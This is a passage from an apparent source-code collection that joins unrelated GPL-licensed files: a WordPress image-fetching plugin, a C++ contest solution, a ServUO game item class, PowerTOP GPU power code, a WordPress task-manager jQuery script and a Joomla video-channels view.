if ( !isset( $image_cache[$key] ) || empty( $cache ) ) {
/* If a custom field key (array) is defined, check for images by custom field. */
if ( !empty( $meta_key ) )
$image = get_the_image_by_meta_key( $args );
/* If no image found and $the_post_thumbnail is set to true, check for a post image (WP feature). */
if ( empty( $image ) && !empty( $the_post_thumbnail ) )
$image = get_the_image_by_post_thumbnail( $args );
/* If no image found and $attachment is set to true, check for an image by attachment. */
if ( empty( $image ) && !empty( $attachment ) )
$image = get_the_image_by_attachment( $args );
/* If no image found and $image_scan is set to true, scan the post for images. */
if ( empty( $image ) && !empty( $image_scan ) )
$image = get_the_image_by_scan( $args );
/* If no image found and a callback function was given. Callback function must pass back array of <img> attributes. */
if ( empty( $image ) && !is_null( $callback ) && function_exists( $callback ) )
$image = call_user_func( $callback, $args );
/* If no image found and a $default_image is set, get the default image. */
if ( empty( $image ) && !empty( $default_image ) )
$image = get_the_image_by_default( $args );
/* If an image was found. */
if ( !empty( $image ) ) {
/* If $meta_key_save was set, save the image to a custom field. */
if ( !empty( $meta_key_save ) )
get_the_image_meta_key_save( $args, $image['src'] );
/* Format the image HTML. */
$image_html = get_the_image_format( $args, $image );
/* Set the image cache for the specific post. */
$image_cache[$key] = $image_html;
wp_cache_set( $post_id, $image_cache, 'get_the_image' );
}
}
/* If an image was already cached for the post and arguments, use it. */
else {
$image_html = $image_cache[$key];
}
/* Allow plugins/theme to override the final output. */
$image_html = apply_filters( 'get_the_image', $image_html );
/* If $format is set to 'array', return an array of image attributes. */
if ( 'array' == $format ) {
/* Set up a default empty array. */
$out = array();
/* Get the image attributes. */
$atts = wp_kses_hair( $image_html, array( 'http' ) );
/* Loop through the image attributes and add them in key/value pairs for the return array. */
foreach ( $atts as $att )
$out[$att['name']] = $att['value'];
$out['url'] = $out['src']; // @deprecated 0.5 Use 'src' instead of 'url'.
/* Return the array of attributes. */
return $out;
}
/* Or, if $echo is set to false, return the formatted image. */
elseif ( false === $echo ) {
return $args['before'] . $image_html . $args['after'];
}
/* If there is a $post_thumbnail_id, do the actions associated with get_the_post_thumbnail(). */
if ( isset( $image['post_thumbnail_id'] ) )
do_action( 'begin_fetch_post_thumbnail_html', $post_id, $image['post_thumbnail_id'], $size );
/* Display the image if we get to this point. */
echo $args['before'] . $image_html . $args['after'];
/* If there is a $post_thumbnail_id, do the actions associated with get_the_post_thumbnail(). */
if ( isset( $image['post_thumbnail_id'] ) )
do_action( 'end_fetch_post_thumbnail_html', $post_id, $image['post_thumbnail_id'], $size );
}
/* Internal Functions */
/**
* Calls images by custom field key. Script loops through multiple custom field keys. If that particular key
* is found, $image is set and the loop breaks. If an image is found, it is returned.
*
* @since 0.7.0
* @access private
* @param array $args Arguments for how to load and display the image.
* @return array|bool Array of image attributes. | False if no image is found.
*/
function get_the_image_by_meta_key( $args = array() ) {
/* If $meta_key is not an array. */
if ( !is_array( $args['meta_key'] ) )
$args['meta_key'] = array( $args['meta_key'] );
/* Loop through each of the given meta keys. */
foreach ( $args['meta_key'] as $meta_key ) {
/* Get the image URL by the current meta key in the loop. */
$image = get_post_meta( $args['post_id'], $meta_key, true );
/* If an image was found, break out of the loop. */
if ( !empty( $image ) )
break;
}
/* If a custom key value has been given for one of the keys, return the image URL. */
if ( !empty( $image ) )
return array( 'src' => $image );
return false;
}
/**
* Checks for images using a custom version of the WordPress 2.9+ get_the_post_thumbnail() function.
* If an image is found, return it and the $post_thumbnail_id. The WordPress function's other filters are
* later added in the display_the_image() function.
*
* @since 0.7.0
* @access private
* @param array $args Arguments for how to load and display the image.
* @return array|bool Array of image attributes. | False if no image is found.
*/
function get_the_image_by_post_thumbnail( $args = array() ) {
/* Check for a post image ID (set by WP as a custom field). */
$post_thumbnail_id = get_post_thumbnail_id( $args['post_id'] );
/* If no post image ID is found, return false. */
if ( empty( $post_thumbnail_id ) )
return false;
/* Apply filters on post_thumbnail_size because this is a default WP filter used with its image feature. */
$size = apply_filters( 'post_thumbnail_size', $args['size'] );
/* Get the attachment image source. This should return an array. */
$image = wp_get_attachment_image_src( $post_thumbnail_id, $size );
/* Get the attachment excerpt to use as alt text. */
$alt = trim( strip_tags( get_post_field( 'post_excerpt', $post_thumbnail_id ) ) );
/* Return both the image URL and the post thumbnail ID. */
return array( 'src' => $image[0], 'post_thumbnail_id' => $post_thumbnail_id, 'alt' => $alt );
}
/**
* Check for attachment images. Uses get_children() to check if the post has images attached. If image
* attachments are found, loop through each. The loop only breaks once $order_of_image is reached.
*
* @since 0.7.0
* @access private
* @param array $args Arguments for how to load and display the image.
* @return array|bool Array of image attributes. | False if no image is found.
*/
function get_the_image_by_attachment( $args = array() ) {
/* Get the post type of the current post. */
$post_type = get_post_type( $args['post_id'] );
/* Check if the post itself is an image attachment. */
if ( 'attachment' == $post_type && wp_attachment_is_image( $args['post_id'] ) ) {
$attachment_id = $args['post_id'];
}
/* If the post is not an attachment, check if it has any image attachments. */
elseif ( 'attachment' !== $post_type ) {
/* Get attachments for the inputted $post_id. */
$attachments = get_children(
array(
'post_parent' => $args['post_id'],
'post_status' => 'inherit',
'post_type' => 'attachment',
'post_mime_type' => 'image',
'order' => 'ASC',
'orderby' => 'menu_order ID',
'suppress_filters' => true
)
);
/* Check if any attachments were found. */
if ( !empty( $attachments ) ) {
/* Set the default iterator to 0. */
$i = 0;
/* Loop through each attachment. */
foreach ( $attachments as $id => $attachment ) {
/* Set the attachment ID as the current ID in the loop. */
$attachment_id = $id;
/* Break if/when we hit 'order_of_image'. */
if ( ++$i == $args['order_of_image'] )
break;
}
}
}
/* Check if we have an attachment ID before proceeding. */
if ( !empty( $attachment_id ) ) {
/* Get the attachment image. */
$image = wp_get_attachment_image_src( $id, $args['size'] );
/* Get the attachment excerpt. */
$alt = trim( strip_tags( get_post_field( 'post_excerpt', $id ) ) );
/* Save the attachment as the 'featured image'. */
if ( true === $args['thumbnail_id_save'] )
set_post_thumbnail( $args['post_id'], $id );
/* Return the image URL. */
return array( 'src' => $image[0], 'alt' => $alt );
}
/* Return false for anything else. */
return false;
}
/**
* Scans the post for images within the content. Not called by default with get_the_image(). Shouldn't use
* if using large images within posts, better to use the other options.
*
* @since 0.7.0
* @access private
* @param array $args Arguments for how to load and display the image.
* @return array|bool Array of image attributes. | False if no image is found.
*/
function get_the_image_by_scan( $args = array() ) {
/* Search the post's content for the <img /> tag and get its URL. */
preg_match_all( '|<img.*?src=[\'"](.*?)[\'"].*?>|i', get_post_field( 'post_content', $args['post_id'] ), $matches );
/* If there is a match for the image, return its URL. */
if ( isset( $matches ) && !empty( $matches[1][0] ) )
return array( 'src' => $matches[1][0] );
return false;
}
/**
* Used for setting a default image. The function simply returns the image URL it was given in an array.
* Not used with get_the_image() by default.
*
* @since 0.7.0
* @access private
* @param array $args Arguments for how to load and display the image.
* @return array|bool Array of image attributes. | False if no image is found.
*/
function get_the_image_by_default( $args = array() ) {
return array( 'src' => $args['default_image'] );
}
/**
* Formats an image with appropriate alt text and class. Adds a link to the post if argument is set. Should
* only be called if there is an image to display, but will handle it if not.
*
* @since 0.7.0
* @access private
* @param array $args Arguments for how to load and display the image.
* @param array $image Array of image attributes ($image, $classes, $alt, $caption).
* @return string $image Formatted image (w/link to post if the option is set).
*/
function get_the_image_format( $args = array(), $image = false) {
/* If there is no image URL, return false. */
if ( empty( $image['src'] ) )
return false;
/* Extract the arguments for easy-to-use variables. */
extract( $args );
$echo1 = $args['echo'];
/* If there is alt text, set it. Otherwise, default to the post title. */
$image_alt = ( ( !empty( $image['alt'] ) ) ? $image['alt'] : apply_filters( 'the_title', get_post_field( 'post_title', $post_id ) ) );
/* If there is a width or height, set them as HMTL-ready attributes. */
$width = ( ( $width ) ? ' width="' . esc_attr( $width ) . '"' : '' );
$height = ( ( $height ) ? ' height="' . esc_attr( $height ) . '"' : '' );
/* Loop through the custom field keys and add them as classes. */
if ( is_array( $meta_key ) ) {
foreach ( $meta_key as $key )
$classes[] = sanitize_html_class( $key );
}
/* Add the $size and any user-added $image_class to the class. */
$classes[] = sanitize_html_class( $size );
$classes[] = sanitize_html_class( $image_class );
/* Join all the classes into a single string and make sure there are no duplicates. */
$class = join( ' ', array_unique( $classes ) );
if( $echo1 != 'false'){
/* Add the image attributes to the <img /> element. */
$html = '<img src="' . $image['src'] . '" alt="' . esc_attr( strip_tags( $image_alt ) ) . '" class="' . esc_attr( $class ) . '"' . $width . $height . ' />';
/* If $link_to_post is set to true, link the image to its post. */
if ( $link_to_post )
$html = '<a href="' . get_permalink( $post_id ) . '" title="' . esc_attr( apply_filters( 'the_title', get_post_field( 'post_title', $post_id ) ) ) . '" class="'.$args['link_class'].'" data-rel="'.$args['data-rel'].'">' . $html . '</a>';
}else{
$html = $image['src'] ;
}
/* If there is a $post_thumbnail_id, apply the WP filters normally associated with get_the_post_thumbnail(). */
if ( !empty( $image['post_thumbnail_id'] ) )
$html = apply_filters( 'post_thumbnail_html', $html, $post_id, $image['post_thumbnail_id'], $size, '' );
return $html;
}
/**
* Saves the image URL as the value of the meta key provided. This allows users to set a custom meta key
* for their image. By doing this, users can trim off database queries when grabbing attachments or get rid
* of expensive scans of the content when using the image scan feature.
*
* @since 0.6.0
* @access private
* @param array $args Arguments for how to load and display the image.
* @param array $image Array of image attributes ($image, $classes, $alt, $caption).
*/
function get_the_image_meta_key_save( $args = array(), $image = array() ) {
/* If the $meta_key_save argument is empty or there is no image $url given, return. */
if ( empty( $args['meta_key_save'] ) || empty( $image['src'] ) )
return;
/* Get the current value of the meta key. */
$meta = get_post_meta( $args['post_id'], $args['meta_key_save'], true );
/* If there is no value for the meta key, set a new value with the image $url. */
if ( empty( $meta ) )
add_post_meta( $args['post_id'], $args['meta_key_save'], $image['src'] );
/* If the current value doesn't match the image $url, update it. */
elseif ( $meta !== $image['src'] )
update_post_meta( $args['post_id'], $args['meta_key_save'], $image['src'], $meta );
}
/**
* Deletes the image cache for the specific post when the 'save_post' hook is fired.
*
* @since 0.7.0
* @access private
* @param int $post_id The ID of the post to delete the cache for.
* @return void
*/
function get_the_image_delete_cache_by_post( $post_id ) {
wp_cache_delete( $post_id, 'get_the_image' );
}
/**
* Deletes the image cache for a specific post when the 'added_post_meta', 'deleted_post_meta',
* or 'updated_post_meta' hooks are called.
*
* @since 0.7.0
* @access private
* @param int $meta_id The ID of the metadata being updated.
* @param int $post_id The ID of the post to delete the cache for.
* @return void
*/
function get_the_image_delete_cache_by_meta( $meta_id, $post_id ) {
wp_cache_delete( $post_id, 'get_the_image' );
}
/**
* @since 0.1.0
* @deprecated 0.3.0
*/
function get_the_image_link( $deprecated = '', $deprecated_2 = '', $deprecated_3 = '' ) {
get_the_image();
}
/**
* @since 0.3.0
* @deprecated 0.7.0
*/
function image_by_custom_field( $args = array() ) {
return get_the_image_by_meta_key( $args );
}
/**
* @since 0.4.0
* @deprecated 0.7.0
*/
function image_by_the_post_thumbnail( $args = array() ) {
return get_the_image_by_post_thumbnail( $args );
}
/**
* @since 0.3.0
* @deprecated 0.7.0
*/
function image_by_attachment( $args = array() ) {
return get_the_image_by_attachment( $args );
}
/**
* @since 0.3.0
* @deprecated 0.7.0
*/
function image_by_scan( $args = array() ) {
return get_the_image_by_scan( $args );
}
/**
* @since 0.3.0
* @deprecated 0.7.0
*/
function image_by_default( $args = array() ) {
return get_the_image_by_default( $args );
}
/**
* @since 0.1.0
* @deprecated 0.7.0
*/
function display_the_image( $args = array(), $image = false ) {
return get_the_image_format( $args, $image );
}
/**
* @since 0.5.0
* @deprecated 0.7.0 Replaced by cache delete functions specifically for the post ID.
*/
function get_the_image_delete_cache() {
return;
}
?> | gpl-2.0 |
sunmoyi/ACM | acm clion/Hello World/Hello World.cpp | 449 | //
// Created by 孙启龙 on 2017/3/22.
//
#include<cstdio>
#include<cstdlib>
using namespace std;
int n;
int main()
{
int cases=0;
while(scanf("%d",&n)!=EOF)
{
if(n < 0)
break;
int num = 1;
int k = 0;
while(1)
{
if(num >= n)
break;
num = num * 2;
k++;
}
printf("Case %d: %d\n", ++cases, k);
}
return 0;
} | gpl-2.0 |
A2152225/ServUO | Scripts/Items/Artifacts/Equipment/Weapons/DarkglowScimitar.cs | 878 | using System;
namespace Server.Items
{
public class DarkglowScimitar : RadiantScimitar
{
public override bool IsArtifact { get { return true; } }
[Constructable]
public DarkglowScimitar()
{
WeaponAttributes.HitDispel = 10;
}
public DarkglowScimitar(Serial serial)
: base(serial)
{
}
public override int LabelNumber
{
get
{
return 1073542;
}
}// darkglow scimitar
public override void Serialize(GenericWriter writer)
{
base.Serialize(writer);
writer.WriteEncodedInt(0); // version
}
public override void Deserialize(GenericReader reader)
{
base.Deserialize(reader);
int version = reader.ReadEncodedInt();
}
}
} | gpl-2.0 |
ghostbar/powertop.deb | src/devices/i915-gpu.cpp | 2765 | /*
* Copyright 2010, Intel Corporation
*
* This file is part of PowerTOP
*
* This program file is free software; you can redistribute it and/or modify it
* under the terms of the GNU General Public License as published by the
* Free Software Foundation; version 2 of the License.
*
* This program is distributed in the hope that it will be useful, but WITHOUT
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
* FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License
* for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program in a file named COPYING; if not, write to the
* Free Software Foundation, Inc,
* 51 Franklin Street, Fifth Floor,
* Boston, MA 02110-1301 USA
* or just google for it.
*
* Authors:
* Arjan van de Ven <arjan@linux.intel.com>
*/
#include <iostream>
#include <fstream>
#include <stdio.h>
#include <sys/types.h>
#include <dirent.h>
#include <unistd.h>
#include <limits.h>
#include "../lib.h"
using namespace std;
#include "device.h"
#include "i915-gpu.h"
#include "../parameters/parameters.h"
#include "../process/powerconsumer.h"
#include "gpu_rapl_device.h"
#include <string.h>
#include <unistd.h>
i915gpu::i915gpu(): device()
{
index = get_param_index("gpu-operations");
rindex = get_result_index("gpu-operations");
}
const char * i915gpu::device_name(void)
{
if (child_devices.size())
return "GPU misc";
else
return "GPU";
}
void i915gpu::start_measurement(void)
{
}
void i915gpu::end_measurement(void)
{
}
double i915gpu::utilization(void)
{
return get_result_value(rindex);
}
void create_i915_gpu(void)
{
char filename[PATH_MAX];
class i915gpu *gpu;
gpu_rapl_device *rapl_dev;
pt_strcpy(filename, "/sys/kernel/debug/tracing/events/i915/i915_gem_ring_dispatch/format");
if (access(filename, R_OK) !=0) {
/* try an older tracepoint */
pt_strcpy(filename, "/sys/kernel/debug/tracing/events/i915/i915_gem_request_submit/format");
if (access(filename, R_OK) != 0)
return;
}
register_parameter("gpu-operations");
gpu = new class i915gpu();
all_devices.push_back(gpu);
rapl_dev = new class gpu_rapl_device(gpu);
if (rapl_dev->device_present())
all_devices.push_back(rapl_dev);
}
double i915gpu::power_usage(struct result_bundle *result, struct parameter_bundle *bundle)
{
double power;
double factor;
double util;
double child_power;
power = 0;
factor = get_parameter_value(index, bundle);
util = get_result_value(rindex, result);
power += util * factor / 100.0;
for (unsigned int i = 0; i < child_devices.size(); ++i) {
child_power = child_devices[i]->power_usage(result, bundle);
if ((power - child_power) > 0.0)
power -= child_power;
}
return power;
}
| gpl-2.0 |
javalidigital/multipla | wp-content/plugins/wedevs-project-manager-pro/assets/js/task.js | 19022 |
;(function($) {
var CPM_Task = {
init: function () {
$('.cpm-task-complete .cpm-complete').attr('checked', 'checked').attr('disabled', false);
$('.cpm-task-uncomplete .cpm-uncomplete').removeAttr('checked').attr('disabled', false);
$('ul.cpm-todolists').on('click', 'a.add-task', this.showNewTodoForm);
$('ul.cpm-todolists').on('click', '.cpm-todos-new a.todo-cancel', this.hideNewTodoForm);
$('ul.cpm-todolists').on('submit', '.cpm-todo-form form.cpm-task-form', this.submitNewTodo);
//edit todo
$('ul.cpm-todolists').on('click', '.cpm-todo-action a.cpm-todo-edit', this.toggleEditTodo);
$('ul.cpm-todolists').on('click', '.cpm-task-edit-form a.todo-cancel', this.toggleEditTodo);
$('ul.cpm-todolists').on('submit', '.cpm-task-edit-form form', this.updateTodo);
//single todo
$('.cpm-single-task').on('click', '.cpm-todo-action a.cpm-todo-edit', this.toggleEditTodo);
$('.cpm-single-task').on('click', '.cpm-task-edit-form a.todo-cancel', this.toggleEditTodo);
$('.cpm-single-task').on('submit', '.cpm-task-edit-form form', this.updateTodo);
$('.cpm-single-task').on('click', 'input[type=checkbox].cpm-uncomplete', this.markDone);
$('.cpm-single-task').on('click', 'input[type=checkbox].cpm-complete', this.markUnDone);
$('.cpm-single-task').on('click', 'a.cpm-todo-delete', this.deleteTodo);
//task done, undone, delete
$('ul.cpm-todolists').on('click', '.cpm-uncomplete', this.markDone);
$('ul.cpm-todolists').on('click', '.cpm-todo-completed input[type=checkbox]', this.markUnDone);
$('ul.cpm-todolists').on('click', 'a.cpm-todo-delete', this.deleteTodo);
//todolist
$('.cpm-new-todolist-form').on('submit', 'form', this.addList);
$('ul.cpm-todolists').on('submit', '.cpm-list-edit-form form', this.updateList);
$('.cpm-new-todolist-form').on('click', 'a.list-cancel', this.toggleNewTaskListForm);
$('a#cpm-add-tasklist').on('click', this.toggleNewTaskListFormLink);
//tasklist edit, delete links toggle
$('ul.cpm-todolists').on('click', 'a.cpm-list-delete', this.deleteList);
$('ul.cpm-todolists').on('click', 'a.cpm-list-edit', this.toggleEditList);
$('ul.cpm-todolists').on('click', 'a.list-cancel', this.toggleEditList);
this.makeSortableTodoList();
this.makeSortableTodo();
},
datePicker: function() {
$( ".date_picker_from" ).datepicker({
dateFormat: 'yy-mm-dd',
changeYear: true,
changeMonth: true,
numberOfMonths: 1,
onClose: function( selectedDate ) {
$( ".date_picker_to" ).datepicker( "option", "minDate", selectedDate );
}
});
$( ".date_picker_to" ).datepicker({
dateFormat: 'yy-mm-dd',
changeMonth: true,
changeYear: true,
numberOfMonths: 1,
onClose: function( selectedDate ) {
$( ".date_picker_from" ).datepicker( "option", "maxDate", selectedDate );
}
});
},
makeSortableTodoList: function() {
var todos = $('ul.cpm-todolists');
if (todos) {
todos.sortable({
placeholder: "ui-state-highlight",
handle: '.move',
stop: function(e,ui) {
var items = $(ui.item).parents('ul.cpm-todolists').find('> li');
var ordered = [];
for (var i = 0; i < items.length; i++) {
ordered.push($(items[i]).data('id'));
}
CPM_Task.saveOrder(ordered);
}
});
}
},
makeSortableTodo: function() {
var todos = $('ul.cpm-todos');
if (todos) {
todos.sortable({
placeholder: "ui-state-highlight",
handle: '.move',
stop: function(e,ui) {
var items = $(ui.item).parents('ul.cpm-todos').find('input[type=checkbox]');
var ordered = [];
for (var i = 0; i < items.length; i++) {
ordered.push($(items[i]).val());
}
CPM_Task.saveOrder(ordered);
}
});
}
},
saveOrder: function(order) {
var data = {
items: order,
action: 'cpm_task_order'
};
$.post(CPM_Vars.ajaxurl, data);
},
showNewTodoForm: function (e) {
e.preventDefault();
var self = $(this),
next = self.parent().next();
self.closest('li').addClass('cpm-hide');
next.removeClass('cpm-hide');
$(".chosen-select").chosen({ width: '300px' });
CPM_Task.datePicker();
},
hideNewTodoForm: function (e) {
e.preventDefault();
var self = $(this),
list = self.closest('li');
list.addClass('cpm-hide');
list.prev().removeClass('cpm-hide');
},
markDone: function () {
var self = $(this);
self.attr( 'disabled', true );
self.siblings('.cpm-spinner').show();
var list = self.closest('li'),
taskListEl = self.closest('article.cpm-todolist'),
singleWrap = self.closest('.cpm-single-task'),
data = {
task_id: self.val(),
project_id: self.data('project'),
list_id: self.data('list'),
single: self.data('single'),
action: 'cpm_task_complete',
'_wpnonce': CPM_Vars.nonce,
is_admin : self.data('is_admin')
};
$(document).trigger('cpm.markDone.before', [self]);
$.post(CPM_Vars.ajaxurl, data, function (res) {
res = JSON.parse(res);
$(document).trigger('cpm.markDone.after', [res,self]);
if(res.success === true ) {
if(list.length) {
var completeList = list.parent().siblings('.cpm-todo-completed');
completeList.append('<li>' + res.content + '</li>');
list.remove();
//update progress
taskListEl.find('h3 .cpm-right').html(res.progress);
} else if(singleWrap.length) {
singleWrap.html(res.content);
}
}
});
},
markUnDone: function () {
var self = $(this);
self.attr( 'disabled', true );
self.siblings('.cpm-spinner').show();
var list = self.closest('li'),
taskListEl = self.closest('article.cpm-todolist'),
singleWrap = self.closest('.cpm-single-task'),
data = {
task_id: self.val(),
project_id: self.data('project'),
list_id: self.data('list'),
single: self.data('single'),
action: 'cpm_task_open',
'_wpnonce': CPM_Vars.nonce,
is_admin: self.data('is_admin'),
};
$(document).trigger('cpm.markUnDone.before', [self]);
$.post(CPM_Vars.ajaxurl, data, function (res) {
res = JSON.parse(res);
if(res.success === true ) {
if(list.length) {
var currentList = list.parent().siblings('.cpm-todos');
currentList.append('<li>' + res.content + '</li>');
list.remove();
//update progress
taskListEl.find('h3 .cpm-right').html(res.progress);
} else if(singleWrap.length) {
singleWrap.html(res.content);
}
CPM_Task.datePicker();
}
$(document).trigger('cpm.markUnDone.after', [res,self]);
});
},
deleteTodo: function (e) {
e.preventDefault();
var self = $(this),
list = self.closest('li'),
taskListEl = self.closest('article.cpm-todolist'),
confirmMsg = self.data('confirm'),
single = self.data('single'),
data = {
list_id: self.data('list_id'),
project_id: self.data('project_id'),
task_id: self.data('task_id'),
action: 'cpm_task_delete',
'_wpnonce': CPM_Vars.nonce,
is_admin : CPM_Vars.is_admin,
};
$(document).trigger('cpm.deleteTodo.before',[self]);
if( confirm(confirmMsg) ) {
self.addClass('cpm-icon-delete-spinner');
self.closest('.cpm-todo-action').css('visibility', 'visible');
$.post(CPM_Vars.ajaxurl, data, function (res) {
res = JSON.parse(res);
$(document).trigger('cpm.deleteTodo.after',[res,self]);
if(res.success) {
if(single !== '') {
location.href = res.list_url;
} else {
list.fadeOut(function() {
$(this).remove();
});
//update progress
taskListEl.find('h3 .cpm-right').html(res.progress);
}
}
});
}
},
toggleEditTodo: function (e) {
e.preventDefault();
var wrap = $(this).closest('.cpm-todo-wrap');
wrap.find('.cpm-todo-content').toggle();
wrap.find('.cpm-task-edit-form').slideToggle();
$(".chosen-select").chosen({ width: '300px' });
CPM_Task.datePicker();
},
updateTodo: function (e) {
e.preventDefault();
var self = $(this),
this_btn = self.find('input[name=submit_todo]'),
spinner = self.find('.cpm-new-task-spinner');
var data = self.serialize(),
list = self.closest('li'),
singleWrap = self.closest('.cpm-single-task'),
content = $.trim(self.find('.todo_content').val());
$(document).trigger('cpm.updateTodo.before',[self]);
if(content !== '') {
this_btn.attr( 'disabled', true );
spinner.show();
$.post(CPM_Vars.ajaxurl, data, function (res) {
this_btn.attr( 'disabled', false );
spinner.hide();
res = JSON.parse(res);
if(res.success === true) {
if(list.length) {
list.html(res.content); //update in task list
} else if(singleWrap.length) {
singleWrap.html(res.content); //update in single task
}
CPM_Task.datePicker();
$(".chosen-select").chosen({ width: '300px' });
} else {
alert('something went wrong!');
}
$(document).trigger('cpm.updateTodo.after',[res,self]);
});
} else {
alert('type something');
}
},
//toggle new task list form from top link
toggleNewTaskListFormLink: function (e) {
e.preventDefault();
$('.cpm-new-todolist-form').slideToggle();
},
toggleNewTaskListForm: function (e) {
e.preventDefault();
$(this).closest('form').parent().slideToggle();
},
toggleEditList: function (e) {
e.preventDefault();
var article = $(this).closest('article.cpm-todolist');
article.find('header').slideToggle();
article.find('.cpm-list-edit-form').slideToggle();
},
submitNewTodo: function (e) {
e.preventDefault();
var self = $(this),
this_btn = self.find('input[name=submit_todo]'),
spinner = self.find('.cpm-new-task-spinner');
var data = self.serialize(),
taskListEl = self.closest('article.cpm-todolist'),
content = $.trim(self.find('.todo_content').val());
$(document).trigger( 'cpm.submitNewTodo.before', [self] );
if(content !== '') {
this_btn.attr( 'disabled', true );
spinner.show();
$.post(CPM_Vars.ajaxurl, data, function (res) {
this_btn.attr( 'disabled', false );
spinner.hide();
res = JSON.parse(res);
if(res.success === true) {
var currentList = self.closest('ul.cpm-todos-new').siblings('.cpm-todos');
currentList.append( '<li>' + res.content + '</li>' );
//clear the form
self.find('textarea, input[type=text]').val('');
self.find('select').val('').trigger("chosen:updated");
//update progress
taskListEl.find('h3 .cpm-right').html(res.progress);
CPM_Task.datePicker();
} else {
alert('something went wrong!');
}
$(document).trigger('cpm.submitNewTodo.after',[res,self]);
});
} else {
alert('type something');
}
},
addList: function (e) {
e.preventDefault();
var self = $(this),
this_btn = self.find('input[name=submit_todo]'),
spinner = self.find('.cpm-new-list-spinner');
var data = self.serialize(),
content = $.trim(self.find('input[name=tasklist_name]').val());
$(document).trigger('cpm.addList.before',[self]);
if(content !== '') {
this_btn.attr( 'disabled', true );
spinner.show();
$.post(CPM_Vars.ajaxurl, data, function (res) {
this_btn.attr( 'disabled', false );
spinner.hide();
res = JSON.parse(res);
if(res.success === true) {
$('ul.cpm-todolists').append('<li id="cpm-list-' + res.id + '">' + res.content + '</li>');
var list = $('#cpm-list-' + res.id);
$('.cpm-new-todolist-form').slideToggle();
$('body, html').animate({
scrollTop: list.offset().top
});
list.find('a.add-task').click();
list.find('textarea.todo_content').focus();
self.find('textarea, input[type=text]').val('');
self.find('select').val('-1');
self.find('input[type=checkbox]').removeAttr('checked');
CPM_Task.datePicker();
CPM_Task.makeSortableTodoList();
CPM_Task.makeSortableTodo();
$(".chosen-select").chosen({ width: '300px' });
$(document).trigger('cpm.addList.after',[res,self]);
}
});
} else {
alert('type something');
}
},
tinyMCE: function(id) {
tinyMCE.init({
skin : "wp_theme",
mode : "exact",
elements : id,
theme: "modern",
menubar: false,
toolbar1: 'bold,italic,underline,blockquote,strikethrough,bullist,numlist,alignleft,aligncenter,alignright,undo,redo,link,unlink,spellchecker,wp_fullscreen',
plugins: "wpfullscreen,charmap,colorpicker,hr,lists,media,paste,tabfocus,textcolor,fullscreen,wordpress,wpautoresize,wpeditimage,wpgallery,wplink,wpdialogs,wpview"
});
},
updateList: function (e) {
e.preventDefault();
var self = $(this),
this_btn = self.find('input[name=submit_todo]'),
spinner = self.find('.cpm-new-list-spinner');
this_btn.attr( 'disabled', true );
spinner.show();
var data = self.serialize();
$(document).trigger('cpm.updateList.before',[self]);
$.post(CPM_Vars.ajaxurl, data, function (res) {
res = JSON.parse(res);
this_btn.attr( 'disabled', false );
spinner.hide();
if(res.success === true) {
self.closest('li').html(res.content);
CPM_Task.datePicker();
}
$(document).trigger('cpm.updateList.after',[res,self]);
});
},
deleteList: function (e) {
e.preventDefault();
var self = $(this),
list = self.closest('li'),
confirmMsg = self.data('confirm'),
data = {
list_id: self.data('list_id'),
action: 'cpm_tasklist_delete',
'_wpnonce': CPM_Vars.nonce
};
$(document).trigger('cpm.deleteList.before',[self]);
if( confirm(confirmMsg) ) {
self.addClass('cpm-icon-delete-spinner');
self.closest('.cpm-list-actions').css('visibility', 'visible');
$.post(CPM_Vars.ajaxurl, data, function (res) {
res = JSON.parse(res);
$(document).trigger('cpm.deleteList.after',[res,self]);
if(res.success) {
list.fadeOut(function() {
$(this).remove();
});
}
});
}
}
};
$(function() {
CPM_Task.init();
});
})(jQuery); | gpl-2.0 |
Sunella/Vidweb | administrator/components/com_mijovideos/views/channels/view.html.php | 3758 | <?php
/**
* @package MijoVideos
* @copyright 2009-2014 Mijosoft LLC, mijosoft.com
* @license GNU/GPL http://www.gnu.org/copyleft/gpl.html
*/
# No Permission
defined( '_JEXEC' ) or die ;
class MijovideosViewChannels extends MijovideosView {
public function display($tpl = null) {
if ($this->_mainframe->isAdmin()) {
$this->addToolbar();
}
$filter_order = $this->_mainframe->getUserStateFromRequest($this->_option.'.channels.filter_order', 'filter_order', 'c.title', 'cmd');
$filter_order_Dir = $this->_mainframe->getUserStateFromRequest($this->_option.'.channels.filter_order_Dir', 'filter_order_Dir', 'DESC', 'word');
$filter_published = $this->_mainframe->getUserStateFromRequest($this->_option.'.channels.filter_published', 'filter_published', '');
$filter_access = $this->_mainframe->getUserStateFromRequest($this->_option.'.channels.filter_access', 'filter_access', '');
$filter_language = $this->_mainframe->getUserStateFromRequest($this->_option.'.channels.filter_language', 'filter_language', '', 'string');
$search = $this->_mainframe->getUserStateFromRequest($this->_option.'.channels.search', 'search', '', 'string');
$search = JString::strtolower($search);
$lists['search'] = $search;
$lists['order_Dir'] = $filter_order_Dir;
$lists['order'] = $filter_order;
$options = array();
$options[] = JHtml::_('select.option', '', JText::_('JOPTION_SELECT_PUBLISHED'));
$options[] = JHtml::_('select.option', 1, JText::_('COM_MIJOVIDEOS_PUBLISHED'));
$options[] = JHtml::_('select.option', 0, JText::_('COM_MIJOVIDEOS_UNPUBLISHED'));
$lists['filter_published'] = JHtml::_('select.genericlist', $options, 'filter_published', ' class="inputbox" onchange="submit();" ', 'value', 'text', $filter_published);
$this->columnData = $this->get('Columns');
if ($this->columnData != NULL){
$this->cTitle = $this->columnData[0];
$this->cFields = $this->columnData[1];
$this->cChannels = $this->columnData[2];
} else {
$this->cTitle = NULL;
$this->cFields = NULL;
$this->cChannels = $this->get('Items');
}
$this->filter_access = $filter_access;
$this->filter_language = $filter_language;
$this->lists = $lists;
$this->levels = MijoVideos::get('utility')->getAccessLevels();
$this->pagination = $this->get('Pagination');
$this->acl = MijoVideos::get('acl');
parent::display($tpl);
}
public function displayModal($tpl = null){
$this->display($tpl);
}
protected function addToolbar() {
JToolBarHelper::title(JText::_('COM_MIJOVIDEOS_CPANEL_CHANNELS'), 'mijovideos');
if ($this->acl->canCreate()) {
JToolBarHelper::addNew();
}
if ($this->acl->canEdit()) {
JToolBarHelper::editList();
}
if ($this->acl->canCreate() or $this->acl->canEdit()) {
JToolBarHelper::divider();
}
if ($this->acl->canEditState()) {
JToolBarHelper::publishList();
JToolBarHelper::unpublishList();
JToolBarHelper::divider();
}
JToolBarHelper::makeDefault('defaultChannel');
if ($this->acl->canDelete()) {
JToolBarHelper::deleteList(JText::_('COM_MIJOVIDEOS_DELETE_REGISTRANT_CONFIRM'));
